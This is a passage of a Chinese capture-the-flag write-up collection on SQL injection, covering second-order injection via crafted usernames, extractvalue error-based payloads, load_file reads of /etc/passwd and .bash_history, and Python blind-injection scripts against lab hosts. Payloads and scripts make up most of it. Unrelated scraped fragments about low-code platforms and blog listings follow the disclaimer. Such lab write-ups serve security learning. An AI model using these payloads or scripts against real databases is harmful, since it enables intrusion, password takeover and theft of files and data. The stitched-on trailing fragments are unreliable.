进行转义但是“\”并不会插入到数据库中在写入数据库的时候还是保留了原来的数据。在将数据存入到了数据库中之后开发者就认为数据是可信的。在下一次进行需要进行查询的时候直接从数据库中取出了脏数据没有进行进一步的检验和处理这样就会造成SQL的二次注入。比如在第一次插入数据的时候数据中带有单引号直接插入到了数据库中然后在下一次使用中在拼凑的过程中就形成了二次注入。先随便注册一个号进行登录输入sql语句查看过滤情况发现没有过滤但是单引号用\转义了我们可以通过注册恶意用户名来登录获取数据库内容注册用户名为12’ union select database() #密码为1的用户进行登录注册用户名为12’ union select group_concat(table_name) from information_schema.tables where database()table_schema#密码为123的用户进行登录爆出表名注册用户名为12’ union select group_concat(column_name) from information_schema.columns where table_name“flag”#密码为123的用户进行登录爆出字段名注册用户名为12’ union select group_concat(flag) from flag#密码为123的用户进行登录爆出flag字段值[RCTF2015]EasySQL打开之后只有登录和注册两个功能界面如下随便注册一个账户并进行登录注册admin时显示该账户已存在考虑到是不是要获取到admin账户拿flag发现可以进行改密操作结果如下抓取各个页面的数据包未发现有用的信息修改密码的数据包中也不存在明文账户信息此时想到后台更新密码语句应该为update password‘xxxx’ where username“xxxx”所以我们直接注册用户名为admin#来闭合sql语句和注释掉后面的sql语句并admin#账户的密码修改后的密码即为admin账户的密码结果如下我们也可以由此得出结论页面存在二次注入的漏洞并可以大胆猜测修改密码的源代码。我们是因为对username进行的操作修改了admin的密码所以关键点是对username的操作回想我们在修改密码时页面不存在回显那我们应当考虑报错注入。利用Fuzz字典爆破username查看禁用了哪些关键字。其中如 and 和 空格这样的关键字都被过滤了extractvalue和updatexml这样的报错注入关键字未被注释我们可以利用username进行报错注入了这里一定要注意extractvalue 和 updatexml最多只能显示32位数字我们可以使用 reverse()函数将报错回显的结果倒置以此来查看末尾未显示的信息admin||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)database()),0x7e))#我们看到有三张表我们大胆猜测flag很可能在表flag中于是我们查询表flag中的列名admin||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)‘flag’)))#发现列flag那我们只需要查询flag中的内容岂不是就可以拿到flag了我们尝试获取flag的值admin||extractvalue(1,concat(0x7e,(select(flag)from(flag))))#发现不是访问表usersadmin||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)‘users’)))#admin||extractvalue(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name)‘users’))))#admin||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users))))#发现查询结果超过1行我们需要使用正则表达式来获取flag值admin||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp(‘^f’))))#extractvalue最多只能显示32位的原因报错回显不能够完全显示flag的值我们可以依然使用 reverse()函数将flag值倒置输出再利用sql语句将倒置部分恢复将前后两部分flag拼接到一起就可以获得完整的flag值admin||extractvalue(1,concat(0x7e,reverse((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp(‘^f’)))))#随波逐流逆序[网鼎杯 2018]Comment打开来是个留言板点击发帖发帖后发现login页面发现提示了我们账号zhangwei,密码zhangwei(只有后面三位没有告诉),直接爆破,得到后三位为666然后发帖点击详情发现可以留言这里可能有xss(不过ctf这种情况少)或者二次注入(因为页面有我们发帖的信息说明我们发帖的内容从数据库里面拿出来了所以可能有二次注入) ,观察到comment.php?id1尝试对参数id进行SQL注入失败了搜集扫目录检查HTTP报文查看初始页面HTML代码可以看到存在git泄露这里直接用githacker把泄露的部分下载下来python39 .\GitHack.py --url http://831ab642-5443-4b13-bc13-9b2f65129381.node5.buuoj.cn:81/.git尝试下是否有其他版本用git命令查看下进入write_do所在目录先git init再 git log --reflog 注如果得到的文件内容不全使用它之后commit e5b2a2443c2b6d395d06960123142bc91123148c (refs/stash) 有很多的这种的从第一个一个试然后git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c 成功恢复内容GitHack 只能下索引能解析到的 blob 文件不会还原 commit/tree 对象所以即使用git init也看不到历史。这里我看不到?php include mysql.php; session_start(); if($_SESSION[login] ! yes){ header(Location: ./login.php); die(); } if(isset($_GET[do])){ switch ($_GET[do]) { case write: $category addslashes($_POST[category]); $title addslashes($_POST[title]); $content addslashes($_POST[content]); $sql insert into board set category $category, title $title, content $content; $result mysql_query($sql); header(Location: ./index.php); break; case comment: $bo_id addslashes($_POST[bo_id]); $sql select category from board where id$bo_id; $result mysql_query($sql); $num mysql_num_rows($result); if($num0){ $category mysql_fetch_array($result)[category]; $content addslashes($_POST[content]); $sql insert into comment set category $category, content $content, bo_id $bo_id; $result mysql_query($sql); } header(Location: ./comment.php?id$bo_id); break; default: header(Location: ./index.php); } } else{ header(Location: ./index.php); } ?他先将$category的值addslashes了放入数据库(这时addslashes加的反斜杠被删除了)但是又将他那里出来存在二次注入1.在发帖页面写入 ,content(user()),/*2.之后留言,内容为: */# 得知是root权限这里要注意查数据库的数据不需要root权限而使用load_file读取文件内容需要root权限所以应该是想让我们读取文件3.尝试读文件有些wp 的load_file前面加了select因为数据库查找留言内容时前面已经加了select所以可以不用加select,content(load_file(“/etc/passwd”)),/*发现出来root用户以外只有www这个用户在/home/www目录下用了/bin/bash4.查看/home/www/.bash_history.bash_history 保存了当前用户使用过的历史命令,方便查找,content(load_file(“/home/www/.bash_history”)),/*解释一下先进入/tmp目录,解压缩了html.zip文件(得到/tmp/html)之后将html.zip删除了拷贝了一份html给了/var/www目录(得到/var/www/html)之后将/var/www/html下的.DS_Store文件删除但是/tmp/html下的.DS_Store文件没有删除,查看一下.DS_Store:这个文件是常见的备份文件,content(load_file(“/tmp/html/.DS_Store”)),/*.DS_Store经常会有一些不可见的字符使用hex函数对其进行16进制转换,content(hex(load_file(“/tmp/html/.DS_Store”))),/*查看源码复制,进行ASCII hex 解码看到里面有flag_8946e1ff1ee3e40f.php5.尝试查看/tmp/html/flag_8946e1ff1ee3e40f.php,content(load_file(“/tmp/html/flag_8946e1ff1ee3e40f.php”)),/*啥也没有得到加上hex,content(hex(load_file(“/tmp/html/flag_8946e1ff1ee3e40f.php”))),/*flag{f9ca1a6b-9d78-11e8-90a3-c4b301b7b99b}假的flag可能是在/var/www/html/目录下面尝试查看/var/www/html/flag_8946e1ff1ee3e40f.php,content(hex(load_file(“/var/www/html/flag_8946e1ff1ee3e40f.php”))),/*#[GYCTF2020]Ezsqli发现有个提交表单初步认定sql注入源码中除了提到我们输入的信息是POST传参且以idx传参以外没有其他信息。思路抓个包在bp中爆破有无过滤字符接着看用什么注入。输入1、1’有不同回显确认注入点在这里按照经验应该查看一下有无字符过滤然后确定用什么注入发现union、for、floor、rand()、handler、INFORMATION、|、LIEK、from、注释符、分号、括号等都被过滤了过滤了个干净无列名注入用数字代替列名1.使用条件information_schema这个库都被过滤掉了 2.使用前提 ①mysql 5.5.8之后开始使用InnoDb作为默认引擎mysql 5.6的InnoDb增加了innodb_index_stats和innodb_table_stats两张表但这两张表记录了数据库和表的信息但是没有列名 例 select group_concat(database_name) from mysql.innodb_index_stats; select group_concat(table_name) from mysql.innodb_table_stats where database_namedatabase() ②mysql 5.7开始增加了sys库用于快速了解系统元数据信息 例schema_table_statistics_with_buffer脚本爆出表名import time import requests import sys import string import logging # LOG_FORMAT %(lineno)d - %(asctime)s - %(levelname)s - %(message)s # logging.basicConfig(levellogging.DEBUG, formatLOG_FORMAT) targethttp://089d87c8-7a75-454d-9806-a634e110dee5.node3.buuoj.cn/index.php dataStr(select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schemadatabase()) def binaryTest(i,cu,comparer): srequests.post(target,data{id : 0^(ascii(substr({},{},1)){comparer}{}).format(dataStr,i,cu,comparercomparer)}) if Nu1L in s.text: return True else: return False def searchFriends_sqli(i): l 0 r 255 while (l r): cu (l r) // 2 if (binaryTest(i, cu, )): r cu - 1 elif (binaryTest(i, cu, )): l cu 1 elif (cu 0): return None else: return chr(cu) def main(): print(start) finres i1 while (True): extracted_char searchFriends_sqli(i) if (extracted_char None): break finres extracted_char i 1 print(() 当前结果:finres) print(() 运行完成,结果为:, finres) if __name____main__: main()过滤了union的无列名注入核心思想假设 flag 为 flag {bbbbb}对于 payload 这个两个 select 查询的比较是按位比较的即先比第一位如果相等则比第二位以此类推在某一位上如果前者的 ASCII 大不管总长度如何ASCII 大的则大这个不难懂和 c 语言的 strcmp() 函数原理一样举几个例子glag flag{bbbbb}alag{zzzzzzzzzzz} flag{bbbbb}a flag{bbbbb}z flag{bbbbb}在这样的按位比较过程中因为在里层的 for() 循环字典顺序是从 ASCII 码小到大来枚举并比较的假设正确值为 b那么字典跑到 b 的时候 bb 不满足 payload 的大于号只能继续下一轮循环cb 此时满足了题目返回真出现了 Nu1L 关键字这个时候就需要记录 flag 的值了但是此时这一位的 char 是 c而真正的 flag 的这一位应该是 b 才对所以 flag chr(char-1)这就是为什么在存 flag 时候要往前偏移一位的原因import requests import time url http://bbec0b5f-0d5c-406b-ba6d-d0391a76b959.node3.buuoj.cn/index.php # give_grandpa_pa_pa_pa payload_flag 1^((1,\{}\)(select * from f1ag_1s_h3r3_hhhhh)) /*(1, 猜测字符串) 与 (1, 真实flag) 进行比较。 如果猜测字符串 字典序大于 真实 flag则条件为真返回 11^10查询结果为空 → 页面 不出现 Nu1L。 如果猜测字符串 小于等于 真实 flag则条件为假返回 01^01查询结果非空 → 页面 出现 Nu1L。*/ flag for i in range(1, 100): time.sleep(0.3)#这里要sleep一下不然太快了会乱码本人测试后0.3正好能出结果 low 32 high 132 mid (low high) // 2 while (low high): k flag chr(mid) payload payload_flag.format(k) data {id: payload} print(payload) r requests.post(urlurl, datadata) if Nu1L in r.text: low mid 1 else: high mid /*初始区间 low32, high132可见 ASCII 范围。 第一次猜 mid67 → C 发1^((1,flag{C)(select...)) 页面没有 Nu1L → 说明 flag{C 真实 → 太大把 highmid。 第二次 mid51 → 3 有 Nu1L → 说明 flag{3 ≤ 真实 → 太小把 lowmid1。 … 最终 lowhigh121 → y 再验证一次 mid121 与 mid122 即可锁定 121 是唯一解。 脚本取 chr(mid-1) 得到 x因为最后一次多跳了一位*/ mid (low high) // 2 if mid 33: /*题目 flag 示例flag{cyber666} 字典序里 ! 比所有可见字符都小 当脚本已经把完整 flag 猜完再往后 (1,flag{cyber666}!) (1,flag{cyber666}) → 永远成立 → 返回 0 → 永远不再出现 Nu1L 于是二分会把 low 一直压到 33脚本发现 mid33 就认为“已经结束”跳出循环。 这是针对该题的特殊结束标志换别的环境要改判断。*/ break flag chr(mid - 1) print(flag.lower()) # 因为出来的flag是大写这边全部转为小写 print(flag.lower())如果换个场景要改什么场景变化改动点表名/列名不同把select * from f1ag_1s_h3r3_hhhhh换成正确的子查询回显关键字不是 Nu1L改Nu1L in r.text为新特征 in r.text过滤了^异或换别的布尔方式如ORD(MID())n配合if()需要爆列名或数据把子查询换成select group_concat(column_name) from information_schema.columns where table_namexxx即可[WUSTCTF2020]颜值成绩查询payload1 payload1 or 11–进行判断是否存在注入显示不存在该学生通过两个分析可以确认服务端对空格进行了过滤修改payload为以下两个payload1//and//11#payload1//and//12#发现回显信息前者正常后者异常/**/ 就是 MySQL 中的“空白注释因为页面只返回正确和错误的信息无法根据别的信息进行判断因此考虑布尔注入首先通过布尔注入判断数据库名字的长度payload1//and//length(database())n#,通过修改n的参数获得数据库的名字的长度知道了数据库长度之后通过一个字符一个字符的比对来获取数据库的名字payload1//and//substr(database(),1,1)’a’#通过修改字符a最终获得数据库名字为ctf获取数据库名称之后获取数据库内表的数量和名称长度payload1//and//length((select//table_name//from//information_schema.tables//where//table_schema‘ctf’//limit/**/0,1))4–下面第三张图中条件可以替换0知道了表的长度后一个字符一个字符进行比对来获取表的名字payload1//and//substr((select// table_name//from//information_schema.tables//where//table_schema‘ctf’//limit/**/0,1),1,1)‘f’–最终获得表的名字为flag和score通过获取的表名来获取列的数量payload: 1//and//length((select//column_name//from//information_schema.columns//where//table_name%27flag%27//limit/**/0,1))4–获得列的长度分别为4和5和5通过获取的列的长度来获取列的名字payload1//and//substr((select//column_name//from//information_schema.columns//where//table_name‘flag’//limit/**/1,1),1,1)‘v’–最终获得flag表的列明为flag、valuescore表的列明为id、name、score通过获取的列名信息来获取flag值长度payload1//and//length((select//value//from//flag//limit/**/0,1))42–知道了flag的长度之后通过字符串逐步获取flag值payload1//and//substr((select//value//from//flag//limit/**/0,1),1,1)‘f’–脚本实现手工不现实import requests url http://b91f52c4-276b-4113-9ede-54fb712ac6da.node3.buuoj.cn/ database payload1 ?stunum1^(ascii(substr((select(database())),{},1)){})^1 #库名为ctf payload2 ?stunum1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schemactf)),{},1)){})^1#表名为flag,score payload3 ?stunum1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_nameflag)),{},1)){})^1 #列名为flag,value payload4 ?stunum1^(ascii(substr((select(group_concat(value))from(ctf.flag)),{},1)){})^1 # for i in range(1,10000): low 32 high 128 mid (low high) // 2 while(low high): # payload payload1.format(i,mid) #查库名 # payload payload2.format(i,mid) #查表名 # payload payload3.format(i,mid) #查列名 payload payload4.format(i,mid) #查flag new_url url payload r requests.get(new_url) print(new_url) if Hi admin, your score is: 100 in r.text: low mid 1 else: high mid mid (low high) //2 if (mid 32 or mid 132): break database chr(mid) print(database) print(database)
版权声明:本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

wp网站做企业站好不好wordpress 重定向函数

深夜的办公室里,市场营销专业出身的周晓菲对着电脑屏幕上一行行看不懂的代码发呆,这位从传统营销跨界到AI制药领域的专业人士,正经历着职业生涯中最艰难的技术转型期。“我不需要成为技术专家,但至少要和工程师无障碍沟通。”周晓…

张小明 2025/12/22 10:18:32 网站建设

三合一网站平台备案后修改网站名称

终极实战:JeeLowCode低代码平台快速部署与高效运维完整指南 【免费下载链接】jeelowcode 🔥JeeLowCode 【企业级低代码】 是一款专为企业打造的低代码开发框架《免费商用》,以低代码为核心,实现快速开发。提供可视化界面&#xff…

张小明 2025/12/28 17:42:10 网站建设

济南市建设局网站查房产信息wordpress 目录结构

近日,江北新区工业软件产教融合专题会议暨南京市工业软件产教联合体签约授牌仪式在南京江北新区中央商务区举行。本次会议以启动工业软件产教联合体筹备工作为主题,旨在深化工业软件领域政产学研协同合作。会议期间,组织了“工业软件产业学院…

张小明 2025/12/22 10:18:31 网站建设

网站备案怎么更改WordPress文件删除漏洞

软件获取地址 快速回复小工具 软件介绍 这款软件叫咕咕文本,这款软件当初特别火,火到什么程度,它发布5天已经有5000的下载量,足见它在当时相当受欢迎。 这款软件只有712K,是绿色单文件版本,双击打开后其就…

张小明 2025/12/22 10:18:34 网站建设

网站用什么语言开发用户浏览网站的习惯

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容: 在快马平台上快速开发一个Reboot and Select Proper Boot Device错误诊断工具的最小可行产品(MVP)。基本功能包括:自动检测系统启动配置,识别常见问题原因(如…

张小明 2025/12/22 10:18:38 网站建设

网站建设地带新的网站平台如何做地推

开箱即用的 GoWind Admin|风行,企业级前后端一体中后台框架:OPA 集成指南:从原理到实践 Open Policy Agent(简称 OPA)是一款开源的通用策略引擎,核心价值在于实现“策略即代码”(Po…

张小明 2025/12/22 10:22:54 网站建设